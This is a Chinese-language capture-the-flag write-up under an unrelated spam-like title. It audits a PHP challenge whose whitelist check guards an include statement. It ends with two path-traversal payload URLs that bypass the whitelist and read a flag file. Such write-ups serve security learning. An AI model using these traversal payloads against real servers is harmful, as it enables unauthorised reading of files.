網(wǎng)頁設(shè)計(jì)實(shí)訓(xùn)報(bào)告工作內(nèi)容和步驟長春網(wǎng)站建設(shè)方案優(yōu)化
1.看題目提示分析題目內(nèi)容
盲猜一波~ : 是關(guān)于PHP代碼審計(jì)的
2.打開鏈接,分析題目
給你提示了我們訪問source.php來看一下
大boss出現(xiàn),開始詳細(xì)手撕~
3.手撕PHP代碼(代碼審計(jì))
本人是小白,所以第一步,先問chatGPT的意見:
這個(gè)主要是對class? emmm類的分析,然后還有后面的三個(gè)&& 條件判斷:
結(jié)合代碼去理解GPT給的解釋,就可以很容易形成一個(gè)思路:
重點(diǎn)在:
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
輸入一個(gè)包含flag文件的文件名作為請求頭,然后再檢查該請求文件經(jīng)過checkFile檢查(是否為白名單的文件,是的話就檢查通過;不是的話,檢查失敗,輸出你親愛的滑稽),檢查成功,得到flag。
4.開始解題
有點(diǎn)可疑,去看一下
這有一個(gè)點(diǎn),flag在ffffllllaaaagggg:記住遇到這樣的,一般情況下這個(gè)文件存儲在linux服務(wù)器的根目錄下,需要去獲得其內(nèi)容。
../../../../../../../../../../ffffllllaaaagggg
(../那么多是為了確保能夠返回根目錄)
大概意思是source.php文件檢查之后,請求文件會被替換成../../../../../../../ffffllllaaaagggg,作為路徑遍歷攻擊。
EXP
在source.ph 文件中,為file進(jìn)行賦值,賦值內(nèi)容為whitelist的內(nèi)容,再被替換成我們的路徑遍歷攻擊,奪旗成功。
因?yàn)閣hiteList中有兩個(gè)已知的白名單文件:source.php & hint.php
所以有兩個(gè)解法:
source.php?file=source.php?/../../../../../../../../../ffffllllaaaagggg
source.php?file=hint.php?/../../../../../../../../../ffffllllaaaagggg